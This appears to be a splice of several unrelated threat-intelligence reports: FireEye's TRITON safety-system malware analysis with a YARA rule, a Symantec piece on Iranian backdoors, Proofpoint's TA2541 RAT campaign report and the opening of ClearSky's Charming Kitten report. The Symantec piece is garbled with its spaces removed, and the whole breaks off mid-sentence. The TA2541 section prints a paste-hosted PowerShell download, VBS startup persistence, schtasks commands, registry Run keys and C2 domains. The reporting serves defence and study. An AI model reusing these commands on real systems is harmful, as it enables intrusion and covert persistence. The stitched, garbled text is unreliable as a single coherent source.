0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1 Salary_Lockheed_Martin_job_opportunities_confidential.doc Domains: markettrendingcenter.com lm-career.com Payloads: Name Sha256 readme.png 4216f63870e2cdfe499d09fce9caa301f9546f60a69c4032cb5fb6d5ceb9af32 wuaueng.dll 829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1 stage1_winword.dll f14b1a91ed1ecd365088ba6de5846788f86689c6c2f2182855d5e0954d62af3b stage2_explorer.dll 660e60cc1fd3e155017848a1f6befc4a335825a6ae04f3416b9b148ff156d143 drops_lnk.dll 11b5944715da95e4a57ea54968439d955114088222fd2032d4e0282d12a58abb stage3_runtimebroker.dll 9d18defe7390c59a1473f79a2407d072a3f365de9834b8d8be25f7e35a76d818 core_module.dll c677a79b853d3858f8c8b86ccd8c76ebbd1508cc9550f1da2d30be491625b744 GetBaseInfo.dll 5098ec21c88e14d9039d232106560b3c87487b51b40d6fef28254c37e4865182 16/16 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html Introduction Mandiant recently responded to an incident at a critical infrastructure organization where an attacker deployed malware designed to manipulate industrial safety systems. The targeted systems provided emergency shutdown capability for industrial processes. We assess with moderate confidence that the attacker was developing the capability to cause physical damage and inadvertently shutdown operations. This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016. TRITON is consistent with these attacks, in that it could prevent safety mechanisms from executing their intended function, resulting in a physical consequence. Malware Family Main Modules Description TRITON trilog.exe Main executable leveraging libraries.zip library.zip Custom communication library for interaction with Triconex controllers. Table 1: Description of TRITON Malware Incident Summary The attacker gained remote access to an SIS engineering workstation and deployed the TRITON attack framework to reprogram the SIS controllers. During the incident, some SIS controllers entered a failed safe state, which automatically shutdown the industrial process and prompted the asset owner to initiate an investigation. The investigation found that the SIS controllers initiated a safe shutdown when application code between redundant processing units failed a validation check -- resulting in an MP diagnostic failure message. We assess with moderate confidence that the attacker inadvertently shutdown operations while developing the ability to cause physical damage for the following reasons: 1/10 https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html https://www.fireeye.com/services.html https://www.fireeye.com/solutions/industrial-systems-and-critical-infrastructure-security.html https://www.fireeye.com/company/press-releases/2014/fireeye-reveals-rise-in-advanced-threat-activities-by-iranian-linked-ajax-security-team-in-post-stuxnet-era.html Modifying the SIS could prevent it from functioning correctly, increasing the likelihood of a failure that would result in physical consequences. TRITON was used to modify application memory on SIS controllers in the environment, which could have led to a failed validation check. The failure occurred during the time period when TRITON was used. It is not likely that existing or external conditions, in isolation, caused a fault during the time of the incident. Attribution FireEye has not connected this activity to any actor we currently track however, we assess with moderate confidence that the actor is sponsored by a nation state. The targeting of critical infrastructure as well as the attackers persistence, lack of any clear monetary goal and the technical resources necessary to create the attack framework suggest a well-resourced nation state actor. Specifically, the following facts support this assessment: The attacker targeted the SIS suggesting an interest in causing a high-impact attack with physical consequences. This is an attack objective not typically seen from cyber-crime groups. The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that they had pre-built and tested the tool which would require access to hardware and software that is not widely available. TRITON is also designed to communicate using the proprietary TriStation protocol which is not publicly documented suggesting the adversary independently reverse engineered this protocol. The targeting of critical infrastructure to disrupt, degrade, or destroy systems is consistent with numerous attack and reconnaissance activities carried out globally by Russian, Iranian, North Korean, U.S., and Israeli nation state actors. Intrusions of this nature do not necessarily indicate an immediate intent to disrupt targeted systems, and may be preparation for a contingency. Background on Process Control and Safety Instrumented Systems 2/10 https://www.fireeye.com/index.html Figure 1: ICS Reference Architecture Modern industrial process control and automation systems rely on a variety of sophisticated control systems and safety functions. These systems and functions are often referred to as Industrial Control Systems (ICS) or Operational Technology (OT). A Distributed Control System (DCS) provides human operators with the ability to remotely monitor and control an industrial process. It is a computerized control system consisting of computers, software applications and controllers. An Engineering Workstation is a computer used for configuration, maintenance and diagnostics of the control system applications and other control system equipment. A SIS is an autonomous control system that independently monitors the status of the process under control. If the process exceeds the parameters that define a hazardous state, the SIS attempts to bring the process back into a safe state or automatically performs a safe shutdown of the process. If the SIS and DCS controls fail, the final line of defense is the design of the industrial facility, which includes mechanical protections on equipment (e.g. rupture discs), physical alarms, emergency response procedures and other mechanisms to mitigate 3/10 https://www.fireeye.com/solutions/industrial-systems-and-critical-infrastructure-security.html dangerous situations. Asset owners employ varied approaches to interface their plants DCS with the SIS. The traditional approach relies on the principles of segregation for both communication infrastructures and control strategies. For at least the past decade, there has been a trend towards integrating DCS and SIS designs for various reasons including lower cost, ease of use, and benefits achieved from exchanging information between the DCS and SIS. We believe TRITON acutely demonstrates the risk associated with integrated designs that allow bi- directional communication between DCS and SIS network hosts. Safety Instrumented Systems Threat Model and Attack Scenarios Figure 2: Temporal Relationship Between Cyber Security and Safety The attack lifecycle for disruptive attacks against ICS is similar to other types of cyber attacks, with a few key distinctions. First, the attackers mission is to disrupt an operational process rather than steal data. Second, the attacker must have performed OT reconnaissance and have sufficient specialized engineering knowledge to understand the industrial process being controlled and successfully manipulate it. Figure 2 represents the relationship between cyber security and safety controls in a process control environment. Even if cyber security measures fail, safety controls are designed to prevent physical damage. To maximize physical impact, a cyber attacker would also need to bypass safety controls. The SIS threat model below highlights some of the options available to an attacker who has successfully compromised an SIS. 4/10 Attack Option 1: Use the SIS to shutdown the process The attacker can reprogram the SIS logic to cause it to trip and shutdown a process that is, in actuality, in a safe state. In other words, trigger a false positive. Implication: Financial losses due to process downtime and complex plant start up procedure after the shutdown. Attack Option 2: Reprogram the SIS to allow an unsafe state The attacker can reprogram the SIS logic to allow unsafe conditions to persist. Implication: Increased risk that a hazardous situation will cause physical consequences (e.g. impact to equipment, product, environment and human safety) due to a loss of SIS functionality. Attack Option 3: Reprogram the SIS to allow an unsafe state while using the DCS to create an unsafe state or hazard The attacker can manipulate the process into an unsafe state from the DCS while preventing the SIS from functioning appropriately. Implication: Impact to human safety, the environment, or damage to equipment, the extent of which depends on the physical constraints of the process and the plant design. Analysis of Attacker Intent We assess with moderate confidence that the attackers long-term objective was to develop the capability to cause a physical consequence. We base this on the fact that the attacker initially obtained a reliable foothold on the DCS and could have developed the capability to manipulate the process or shutdown the plant, but instead proceeded to compromise the SIS system. Compromising both the DCS and SIS system would enable the attacker to develop and carry out an attack that causes the maximum amount of damage allowed by the physical and mechanical safeguards in place. Once on the SIS network, the attacker used their pre-built TRITON attack framework to interact with the SIS controllers using the TriStation protocol. The attacker could have caused a process shutdown by issuing a halt command or intentionally uploading flawed code to the SIS controller to cause it to fail. Instead, the attacker made several attempts over a period of time to develop and deliver functioning control logic for the SIS controllers in this target environment. While these attempts appear to have failed due one of the attack scripts conditional checks, the attacker persisted with their efforts. This suggests the attacker was intent on causing a specific outcome beyond a process shutdown. Of note, on several occasions, we have observed evidence of long term intrusions into ICS which were not ultimately used to disrupt or disable operations. For instance, Russian operators, such as Sandworm Team, have compromised Western ICS over a multi-year period without causing a disruption. Summary of Malware Capabilities 5/10 The TRITON attack tool was built with a number of features, including the ability to read and write programs, read and write individual functions and query the state of the SIS controller. However, only some of these capabilities were leveraged in the trilog.exe sample (e.g. the attacker did not leverage all of TRITONs extensive reconnaissance capabilities). The TRITON malware contained the capability to communicate with Triconex SIS controllers (e.g. send specific commands such as halt or read its memory content) and remotely reprogram them with an attacker-defined payload. The TRITON sample Mandiant analyzed added an attacker-provided program to the execution table of the Triconex controller. This sample left legitimate programs in place, expecting the controller to continue operating without a fault or exception. If the controller failed, TRITON would attempt to return it to a running state. If the controller did not recover within a defined time window, this sample would overwrite the malicious program with invalid data to cover its tracks. Recommendations Asset owners who wish to defend against the capabilities demonstrated in the incident, should consider the following controls: Where technically feasible, segregate safety system networks from process control and information system networks. Engineering workstations capable of programming SIS controllers should not be dual-homed to any other DCS process control or information system network. Leverage hardware features that provide for physical control of the ability to program safety controllers. These usually take the form of switches controlled by a physical key. On Triconex controllers, keys should not be left in the PROGRAM mode other than during scheduled programming events. Implement change management procedures for changes to key position. Audit current key state regularly. Use a unidirectional gateway rather than bidirectional network connections for any applications that depend on the data provided by the SIS. Implement strict access control and application whitelisting on any server or workstation endpoints that can reach the SIS system over TCP/IP. Monitor ICS network traffic for unexpected communication flows and other anomalous activity. 6/10 Figure 3: Triconex Key Switch (source) Appendix: Technical Analysis Figure 4: TRITON Architecture and Attack Scenario TRITON was deployed on an SIS engineering workstation running the Microsoft Windows operating system. The malware was named to masquerade as the legitimate Triconex Trilog application. This application is used for reviewing logs and is a part of the TriStation application suite. The malware was delivered as a Py2EXE compiled python script dependent on a zip file containing standard Python libraries, open source libraries, as well as the attacker- 7/10 https://images-na.ssl-images-amazon.com/images/I/41jr93jKzML._SX466_.jpg developed Triconex attack framework for interacting with the Triconex controllers. Along with the executable, two binary files, inject.bin (malicious function code) and imain.bin (malicious control logic), were deployed as the controllers payload. These file names were hard coded in the Py2EXE compiled python script. Trilog.exe took one option from the command line, which was a single IP address of the target Triconex device. It did not leverage the underlying TRITON librarys capability for Triconex device discovery, instead an instance of trilog.exe had to be invoked separately for each target controller in the environment. Once invoked, trilog.exe checked the status of the controller, then read the configuration information exposed by the TriStation protocol. If the controller was in a running state, trilog.exe encoded the two payload files inject.bin and imain.bin and passed them to the communication libraries to be appended to the controllers program memory and execution table. After payload files were inserted into memory on the Triconex controller, the script initiated a countdown, periodically checking the status of the controller. If an error was detected, the communication librarys method SafeAppendProgramMod attempted to reset the controller to the previous state using a TriStation protocol command. If this failed, trilog.exe attempted to write a small dummy program to memory. We assess that this was an anti-forensics technique to hide the presence of the attacker code on the Triconex controller. Working with the asset owner, Mandiant ran trilog.exe in a lab environment with a valid Triconex controller and discovered a conditional check in the malware that prevented the payload binary from persisting in the environment. Mandiant confirmed that, after correcting patching the attack script to remove this check, the payload binary would persist in controller memory, and the controller would continue to run. TRITON implements the TriStation protocol, which is the protocol used by the legitimate TriStation application, to configure controllers. TsHi is the high-level interface created by the malwares authors that allows the threat actors operators to implement attack scripts using the TRITON framework. It exposes functions for both reconnaissance and attack. The functions generally accept binary data from the user, and handle the code signing and check sums prior to passing the data to lower level libraries for serialization on to the network. TsBase, another attacker-written module, contains the functions called by TsHi, which translate the attackers intended action to the appropriate TriStation protocol function code. For certain functions, it also packs and pads the data in to the appropriate format. TsLow is an additional attacker module that implements the TriStation UDP wire protocol. The TsBase library primarily depends on the ts_exec method. This method takes the function code and expected response code, and serializes the commands payload over UDP. It checks the response from the controller against the expected value and returns a result data structure indicating success or a False object representing failure. 8/10 TsLow also exposes the connect method used to check connectivity to the target controller. If invoked with no targets, it runs the device discovery function detect_ip. This leverages a ping message over the TriStation protocol using IP broadcast to find controllers that are reachable via a router from where the script is invoked. Indicators Filename Hash trilog.exe MD5: 6c39c3f4a08d3d78f2eb973a94bd7718 SHA-256: e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230 imain.bin MD5: 437f135ba179959a580412e564d3107f SHA-256: 08c34c6ac9186b61d9f29a77ef5e618067e0bc9fe85cab1ad25dc6049c376949 inject.bin MD5: 0544d425c7555dc4e9d76b571f31f500 SHA-256: 5fc4b0076eac7aa7815302b0c3158076e3569086c4c6aa2f71cd258238440d14 library.zip MD5: 0face841f7b2953e7c29c064d6886523 SHA-256: bef59b9a3e00a14956e0cd4a1f3e7524448cbe5d3cc1295d95a15b83a3579c59 TS_cnames.pyc MD5: e98f4f3505f05bf90e17554fbc97bba9 SHA-256: 2c1d3d0a9c6f76726994b88589219cb8d9c39dd9924bc8d2d02bf41d955fe326 TsBase.pyc MD5: 288166952f934146be172f6353e9a1f5 SHA-256: 1a2ab4df156ccd685f795baee7df49f8e701f271d3e5676b507112e30ce03c42 TsHi.pyc MD5: 27c69aa39024d21ea109cc9c9d944a04 SHA-256: 758598370c3b84c6fbb452e3d7119f700f970ed566171e879d3cb41102154272 TsLow.pyc MD5: f6b3a73c8c87506acda430671360ce15 SHA-256: 5c776a33568f4c16fee7140c249c0d2b1e0798a96c7a01bfd2d5684e58c9bb32 sh.pyc MD5: 8b675db417cc8b23f4c43f3de5c83438 SHA-256: c96ed56bf7ee85a4398cc43a98b4db86d3da311c619f17c8540ae424ca6546e1 Detection 9/10 rule TRITON_ICS_FRAMEWORK meta: author nicholas.carr itsreallynick md5 0face841f7b2953e7c29c064d6886523 description TRITON framework recovered during Mandiant ICS incident response strings: python_compiled .pyc nocase ascii wide python_module_01 __module__ nocase ascii wide python_module_02 module nocase ascii wide python_script_01 import Ts nocase ascii wide python_script_02 def ts_ nocase ascii wide py_cnames_01 TS_cnames.py nocase ascii wide py_cnames_02 TRICON nocase ascii wide py_cnames_03 TriStation nocase ascii wide py_cnames_04 chassis nocase ascii wide py_tslibs_01 GetCpStatus nocase ascii wide py_tslibs_02 ts_ ascii wide py_tslibs_03 sequence nocase ascii wide py_tslibs_04 /import Ts(HiLowBase)[:alpha:]/ nocase ascii wide py_tslibs_05 /module\s?version/ nocase ascii wide py_tslibs_06 bad nocase ascii wide py_tslibs_07 prog_cnt nocase ascii wide py_tsbase_01 TsBase.py nocase ascii wide py_tsbase_02 .TsBase( nocase ascii wide py_tshi_01 TsHi.py nocase ascii wide py_tshi_02 keystate nocase ascii wide py_tshi_03 GetProjectInfo nocase ascii wide py_tshi_04 GetProgramTable nocase ascii wide py_tshi_05 SafeAppendProgramMod nocase ascii wide py_tshi_06 .TsHi( ascii nocase wide py_tslow_01 TsLow.py nocase ascii wide py_tslow_02 print_last_error ascii nocase wide py_tslow_03 .TsLow( ascii nocase wide py_tslow_04 tcm_ ascii wide py_tslow_05 TCM found nocase ascii wide py_crc_01 crc.pyc nocase ascii wide py_crc_02 CRC16_MODBUS ascii wide py_crc_03 Kotov Alaxander nocase ascii wide py_crc_04 CRC_CCITT_XMODEM ascii wide py_crc_05 crc16ret ascii wide py_crc_06 CRC16_CCITT_x1D0F ascii wide py_crc_07 /CRC16_CCITT[_]/ ascii wide py_sh_01 sh.pyc nocase ascii wide py_keyword_01 FAILURE ascii wide py_keyword_02 symbol table nocase ascii wide py_TRIDENT_01 inject.bin ascii nocase wide py_TRIDENT_02 imain.bin ascii nocase wide condition: 2 of (python_) and 7 of (py_) and filesize 3MB 10/10 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure Introduction Incident Summary Attribution Background on Process Control and Safety Instrumented Systems Safety Instrumented Systems Threat Model and Attack Scenarios Analysis of Attacker Intent Summary of Malware Capabilities Recommendations Appendix: Technical Analysis Indicators Detection IranbasedattackersusebackdoorthreatstospyonMiddle Easterntargets TwoIranbasedattackgroupsthatappeartobeconnected,Cadelleand Chafer,havebeenusingBackdoor.
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Backdoor. RemexiactivityinparticularisreminiscentofOperationCleaver,as documentedbyCylance (http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf), andmaypossiblybeacontinuationofthatactivity. CadelleandChafersmalware Thegroupsuseonemalwarefamilyeachtoopenabackdoorandstealinformationfromthe compromisedcomputer. CadelleusesBackdoor. CadelspywhileChaferoperateswith Backdoor. RemexiandBackdoor. Remexi. B. https://en.wikipedia.org/wiki/Solar_Hijri_calendar http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf Cadelspyinitiallyarrivesonthecomputerasadropper,whichdownloadstwoinstaller componentscateringtowhetherthevictimisrunninga32bitor64bitsystem. Thedropperthen executestheappropriateinstaller,whichlaunchesCadelspysmaliciouspayloadandallowsitto runwheneveranyWindowsprogramisexecuted. Cadelspysmainpayloadcontainsitsbackdoorfunctionality,allowingthethreattocarryoutthe followingactivities: Logkeystrokesandthetitlesofopenwindows Gatherclipboarddataandsysteminformation Stealprinterinformationandanydocumentsthatweresenttobeprinted Recordaudio Capturescreenshotsandwebcamphotos Cadelspycompressesallofthestolendataintoa.cabfileanduploadsittotheattackersCC servers. Thethreatisalsoabletoupdateitsconfigurationfiletogainadditionalfeatures. Meanwhile,ChafersthreatRemexicontainsfewerfeaturesthanCadellesCadelspydoes. RemexiisabasicbackdoorTrojanthatallowsattackerstoopenaremoteshellonthecomputer andexecutecommands. Thoughthisisunsophisticated,aremoteshelldoesprovideahighly flexibleandpowerfulmeansofremoteaccessinthehandsofaskilledattacker. Mitigation CadelleandChafersactivitiesshowthatattackgroupsdontneedadvancedskillstoconduct effectivetargetedespionageagainstvictims. Thetwogroupsthreatshavemanagedtoremainon theirtargetscomputersforalmostayear,potentiallygivingtheattackersaccesstoanenormous amountofsensitiveinformation. Theyrealsoawarethattheydontonlyhavetodirectlyattackthe individuals,astheycangettotheirvictimsbycompromisingtheservicesthattheyuse,suchas airlinesandtelcos. BothCadelleandChaferarestillactivetodayandwedontexpecttoseethemendtheiractivities anytimesoon. Individualsandorganizationswishingtoavoidbeingcompromisedbytheseteams shouldadheretothefollowingadvice: Ensurethatsoftwareoncomputersandserversisbeingregularlyupdatedtopreventknown vulnerabilitiesfrombeingexploited Treatunsolicitedemailswithsuspicion. Targetedattacksfrequentlydistributemalware throughmaliciouslinksandattachmentsinemails. Keepsecuritysoftwareuptodatewiththelatestdefinitions Protection NortonSecurity(https://us.norton.com/),SymantecEndpointProtection (https://www.symantec.com/endpointprotection/),andotherSymantecsecurityproducts (http://www.symantec.com/productssolutions/)protectusersagainstthesethreatsthroughthe followingdetections: AV Backdoor. Cadelspy(https://www.symantec.com/security_response/writeup.jsp?docid2015 090808175499) Backdoor. Remexi(https://www.symantec.com/security_response/writeup.jsp?docid2015 110911343399) Backdoor. Remexi. B(https://www.symantec.com/security_response/writeup.jsp? docid2015110911412899) IPS SystemInfected:Backdoor. CadelspyActivity2 (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28849) SystemInfected:Backdoor. RemexiActivity (http://www.symantec.com/security_response/attacksignatures/detail.jsp?asid28967) Indicatorsofcompromise Wehavealsocompiledanindicatorsofcompromisedocument (http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy RemexiIOC.pdf)containingfurtherdetailswhichcanbeusedtohelpidentifythethreatsifthey arepresentinyourenvironment. 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The threat actor consistently uses remote access trojans (RATs) that can be used to remotely control compromised machines. The threat actor uses consistent themes related to aviation, transportation, and travel. The threat actor has used similar themes and targeting since 2017. Proofpoint calls this actor TA2541. Overview TA2541 is a persistent cybercriminal actor that distributes various remote access trojans (RATs) targeting the aviation, aerospace, transportation, and defense industries, among others. Proofpoint has tracked this threat actor since 2017, and it has used consistent tactics, techniques, and procedures (TTPs) in that time. Entities in the targeted sectors should be aware of the actors TTPs and use the information provided for hunting and detection. TA2541 uses themes related to aviation, transportation, and travel. When Proofpoint first started tracking this actor, the group sent macro-laden Microsoft Word attachments that downloaded the RAT payload. The group pivoted, and now they more frequently send messages with links to cloud services such as Google Drive hosting the payload. Proofpoint assesses TA2541 is a cybercriminal threat actor due to its use of specific commodity malware, broad targeting with high volume messages, and command and control infrastructure. While public reporting detailing similar threat activities exists since at least 2019, this is the first time Proofpoint is sharing comprehensive details linking public and private data under one threat activity cluster we call TA2541. Campaign Details Unlike many cybercrime threat actors distributing commodity malware, TA2541 does not typically use current events, trending topics, or news items in its social engineering lures. In nearly all observed campaigns, TA2541 uses lure themes that include transportation related https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight https://www.proofpoint.com/us https://www.proofpoint.com/us/blog/threat-insight 2/12 terms such as flight, aircraft, fuel, yacht, charter, etc. Figure 1: Email lure requesting information on aircraft parts. 3/12 Figure 2: Email lure requesting ambulatory flight information. TA2541 demonstrates persistent and ongoing threat activity since January 2017. Typically, its malware campaigns include hundreds to thousands of messages, although it is rare to see TA2541 send more than 10,000 messages at one time. Campaigns impact hundreds of organizations globally, with recurring targets in North America, Europe, and the Middle East. Messages are nearly always in English. In the spring of 2020, TA2541 briefly pivoted to adopting COVID-related lure themes consistent with their overall theme of cargo and flight details. For example, they distributed lures associated with cargo shipments of personal protective equipment (PPE) or COVID-19 testing kits. 4/12 Figure 3: PPE themed lure used by TA2541. The adoption of COVID-19 themes was brief, and the threat actor quickly returned to generic cargo, flight, charter, etc. themed lures. Multiple researchers have published data on similar activities since 2019 including Cisco Talos, Morphisec, Microsoft, Mandiant, and independent researchers. Proofpoint can confirm the activities in these reports overlap with the threat actor tracked as TA2541. Delivery and Installation In recent campaigns, Proofpoint observed this group using Google Drive URLs in emails that lead to an obfuscated Visual Basic Script (VBS) file. If executed, PowerShell pulls an executable from a text file hosted on various platforms such as Pastetext, Sharetext, and GitHub. The threat actor executes PowerShell into various Windows processes and queries Windows Management Instrumentation (WMI) for security products such as antivirus and firewall software, and attempts to disable built-in security protections. The threat actor will collect system information before downloading the RAT on the host. https://blog.talosintelligence.com/2021/09/operation-layover-how-we-tracked-attack.html https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader https://twitter.com/MsftSecIntel/status/1392219299696152578 https://www.mandiant.com/resources/dissecting-netwire-phishing-campaigns-usage-process-hollowing https://blog.bushidotoken.net/2021/01/analysis-of-netwire-rat-campaign.html 5/12 Figure 4: Example attack chain. While TA2541 consistently uses Google Drive, and occasionally OneDrive, to host the malicious VBS files, beginning in late 2021, Proofpoint observed this group begin using DiscordApp URLs linking to a compressed file which led to either AgentTesla or Imminent Monitor. Discord is an increasingly popular content delivery network (CDN) used by threat actors. Although TA2541 typically uses URLs as part of the delivery, Proofpoint has also observed this actor leverage attachments in emails. For example, the threat actor may send compressed executables such as RAR attachments with an embedded executable containing URL to CDNs hosting the malware payload. Listed below is an example of a VBS file used in a recent campaign leveraging the StrReverse function and PowerShells RemoteSigned functionality. It is worth noting the VBS files are usually named to stay consistent with the overall email themes: fight, aircraft, fuel, yacht, charter, etc. 6/12 Figure 5: Contents of a sample VBS file. Deobfuscated command: https://paste[. ]ee/r/01f2w/0 The figure below depicts an example from a recent campaign where the PowerShell code is hosted on the paste.ee URL. 7/12 Figure 6: Paste URL example. Persistence: Typically, TA2541 will use Visual Basic Script (VBS) files to establish persistence with one of their favorite payloads, AsyncRAT. This is accomplished by adding the VBS file in the startup directory which points to a PowerShell script. Note: the VBS and PowerShell file names used are mostly named to mimic Windows or system functionality. Examples from recent campaigns include: Persistence Example: C:\Users[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemFramework64Bits.vbs Contents of VBS file: Set Obj CreateObject(WScript. Shell) Obj. Run PowerShell -ExecutionPolicy RemoteSigned -File C:\Users\ [User]\AppData\Local\Temp\RemoteFramework64.ps1, 0 Other Recent VBS File Names Observed UserInterfaceLogin.vbs HandlerUpdate64Bits.vbs 8/12 WindowsCrashReportFix.vbs SystemHardDrive.vbs TA2541 has also established persistence by creating scheduled tasks and adding entries in the registry. For instance, in November 2021 TA2541 distributed the payload Imminent Monitor using both of these methods. In recent campaigns, vjw0rm and STRRAT also leveraged task creation and adding entries to the registry. For example: Scheduled Task: schtasks.exe /Create /TN Updates\BQVIiVtepLtz /XML C:\Users\ [User]\AppData\Local\Temp\tmp7CF8.tmp schtasks /create /sc minute /mo 1 /tn Skype /tr C:\Users\ [Use]\AppData\Roaming\xubntzl.txt Registry: Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost Data: C:\Users[User]\AppData\Roaming\server\server.exe Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xubntzl Data: C:\Users\User\AppData\Roaming\xubntzl.txt Malware Proofpoint has observed TA2541 using over a dozen different malware payloads since 2017. The threat actor uses commodity malware available for purchase on criminal forums or available in open-source repositories. Currently, TA2541 prefers AsyncRAT, but other popular RATs include NetWire, WSH RAT and Parallax. 9/12 Figure 7: Malware used by TA2541 associated with message volume. All the malware used by TA2541 can be used for information gathering purposes and to gain remote control of an infected machine. At this time, Proofpoint does not know what the threat actors ultimate goals and objectives are once it achieves initial compromise. While AsyncRAT is the current malware of choice, TA2541 has varied its malware use each year since 2017. The threat actor will typically use just one or a handful of RATs in observed campaigns, however in 2020, Proofpoint observed TA2541 distributing over 10 different types of malware, all using the same initial infection chain. Figure 8: Distribution of TA2541 malware over time. Infrastructure 10/12 TA2541 uses Virtual Private Servers as part of their email sending infrastructure and frequently uses Dynamic DNS (DDNS) for C2 infrastructure. There are multiple patterns across the C2 infrastructure and the message artifacts. For example, historic campaigns have included the term kimjoy in the C2 domain name as well as in the threat actor reply-to address. Another striking TTP is the common pattern observed with TA2541 C2 domains and payload staging URLs containing the keywords kimjoy, h0pe, and grace. TA2541 also regularly uses the same domain registrars including Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko, Artyom. Victimology Often, campaigns contained several hundred to several thousand email messages to dozens of different organizations. Although Proofpoint has observed TA2541 targeting thousands of organizations, multiple entities across aviation, aerospace, transportation, manufacturing, and defense industries appear regularly as targets of its campaigns. There appears to be a wide distribution across recipients, indicating TA2541 does not target people with specific roles and functions. Conclusion TA2541 remains a consistent, active cybercrime threat, especially to entities in its most frequently targeted sectors. Proofpoint assesses with high confidence this threat actor will continue using the same TTPs observed in historic activity with minimal change to its lure themes, delivery, and installation. It is likely TA2541 will continue using AsyncRAT and vjw0rm in future campaigns and will likely use other commodity malware to support its objectives. Indicators of Compromise (IOCs) C2 Domains Indicator Description Date Observed joelthomas[.]linkpc[. ]net AsyncRAT C2 Domain Throughout 2021 rick63[.]publicvm[. ]com AsyncRAT C2 Domain January 2022 tq744[.]publicvm[. ]com AsyncRAT C2 Domain January 2022 11/12 bodmas01[.]zapto[. ]org AsyncRAT C2 Domain January 2022 bigdips0n[.]publicvm[. ]com AsyncRAT C2 Domain December 2021 6001dc[.]ddns[. ]net AsyncRAT C2 Domain September 2021 kimjoy[.]ddns[. ]net Revenge RAT C2 Domain March 2021 h0pe[.]ddns[. ]net AsyncRAT C2 Domain April/May 2021 e29rava[.]ddns[. ]net AsyncRAT C2 Domain June 2021 akconsult[.]ddns[. ]net AsyncRAT C2 Domain July 2021 grace5321[.]publicvm[. ]com StrRAT C2 Domain January 2022 grace5321[.]publicvm[. ]com Imminent Monitor C2 Domain November 2021 VBS SHA256 Hashes VBS SHA256 hashes observed in recent December and January campaigns. File Name: Aircrafts PN_ALT PN_Desc__Qty Details.vbs SHA256: 67250d5e5cb42df505b278e53ae346e7573ba60a06c3daac7ec05f853100e61c File Name: charters details.pdf.vbs SHA256: ebd7809cacae62bc94dfb8077868f53d53beb0614766213d48f4385ed09c73a6 File Name: charters details.pdf.vbs SHA256: 4717ee69d28306254b1affa7efc0a50c481c3930025e75366ce93c99505ded96 File Name: 4Pax Trip Details.pdf.vbs SHA256: d793f37eb89310ddfc6d0337598c316db0eccda4d30e34143c768235594a169c ET Signatures 12/12 2034978 - ET POLICY Pastebin-style Service (paste .ee) in TLS SNI 2034979 - ET HUNTING Powershell Request for paste .ee Page 2034980 - ET MALWARE Powershell with Decimal Encoded RUNPE Downloaded 2850933 - ETPRO HUNTING Double Extension VBS Download from Google Drive 2850934 - ETPRO HUNTING Double Extension PIF Download from Google Drive 2850936 - ETPRO HUNTING VBS Download from Google Drive Charming Kitten Iranian cyber espionage against human rights activists, academic researchers and media outlets - and the HBO hacker connection ClearSky Cyber Security December 2017 Page 2 of 59 All rights reserved to ClearSky Cyber Security, 2017 Contents Introduction .......................................................................................................................................................... 3 Targets ......................................................................................................................................................... 3 Charming Kitten or Rocket kitten? ....................................................................................................................... 4 The HBO hacker and Charming Kitten .................................................................................................................. 5 HBO hacking indictment .............................................................................................................................. 5 Connection to Iranian government backed threat agent ............................................................................ 5 From Mesri to Charming Kitten ................................................................................................................... 6 Delivery and Infection ........................................................................................................................................16 Made up organizations and people ...............................................................................................................16 British News ...............................................................................................................................................16 Made up studens and jurnalists .................................................................................................................24 Impersonating real companies .......................................................................................................................30 United Technologies impersonation ..........................................................................................................30 Watering holes ...............................................................................................................................................32 Spear Phishing for credential stealing ............................................................................................................34 Wave 1 .......................................................................................................................................................34 Wave 2 .......................................................................................................................................................36 Wave 3 .......................................................................................................................................................37 Email tracking services ...............................................................................................................................45 Targeted emails with malware .......................................................................................................................46 DownPaper Malware ..........................................................................................................................................47 Additional samples.....................................................................................................................................49 MAGICHOUND.RETRIEVER .................................................................................................................................50 Appendix A - Indicators of Compromise .............................................................................................................51 Appendix B - Previous reports about Charming Kitten and Rocket Kitten .........................................................59 Page 3 of 59 All rights reserved to ClearSky Cyber Security, 2017 Introduction Charming Kitten is an Iranian cyberespionage group operating since approximately 2014. This report exposes their vast espionage apparatus, active during 2016-2017. We present incidents of company impersonation, made up organizations and individuals, spear phishing and watering hole attacks. We analyze their exploitation, delivery, and command-and-control infrastructure, and expose DownPaper, a malware developed by the attackers, which has not been publicly documented to date. Incidents documented in this report are likely a small fraction of the actual amount of targeted attacks, which may reach thousands of individuals. We expose more than 85 IP addresses, 240 malicious domains, hundreds of hosts, and multiple fake entities most of which were created in 2016-2017. The most recent domains (com-archivecenter[. ]work, com-messengerservice[. ]work and com-videoservice[. ]work) were registered on December 2nd, 2017, and have probably not been used in attacks yet. We present the connection between Behzad Mesri, an Iranian national recently indicted for his involvement in hacking HBO, and Charming Kitten. We also identify other members of the group. This report refers to two likely distinct groups, Charming Kitten and Rocket Kitten, together. This is not to say that the two groups are one, but that due to overlap in infrastructure, tools, targets, and modus operandi we are unable to precisely attribute each incident to one or the other. Further discussion appears in the section Charming Kitten or Rocket kitten? Targets The attackers focus appears to be individuals of 